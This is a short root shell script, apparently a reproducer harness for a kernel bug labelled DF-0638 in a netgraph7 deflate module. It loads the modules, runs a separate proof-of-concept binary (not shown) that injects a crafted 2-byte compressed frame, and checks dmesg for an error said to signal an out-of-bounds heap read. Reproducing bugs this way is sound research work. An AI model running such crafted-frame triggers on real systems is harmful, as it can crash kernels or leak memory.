#!/bin/sh
# DF-0638 reproducer runner (root). Requires the netgraph7 stack built & loaded.
# Build the stack first (one-time, from /usr/src):
#   for d in netgraph socket deflate; do (cd /usr/src/sys/netgraph7/$d && make obj && make); done
set +e
echo "loading netgraph7 stack (abi 12)..."
kldload /usr/obj/usr/src/sys/netgraph7/netgraph/netgraph.ko 2>/dev/null
kldload /usr/obj/usr/src/sys/netgraph7/socket/ng_socket.ko 2>/dev/null
kldload /usr/obj/usr/src/sys/netgraph7/deflate/ng_deflate.ko 2>/dev/null
echo "abi_version: $(sysctl -n net.graph.abi_version)"
echo "=== inject crafted 2-byte PROT_COMPD frame ==="
/home/maxx/poc/DF-0638/df0638
sleep 1
echo "=== dmesg (bug present: 'decompression error: -3' = inflate read OOB heap) ==="
dmesg | grep -iE "deflate|decomp" | tail -4
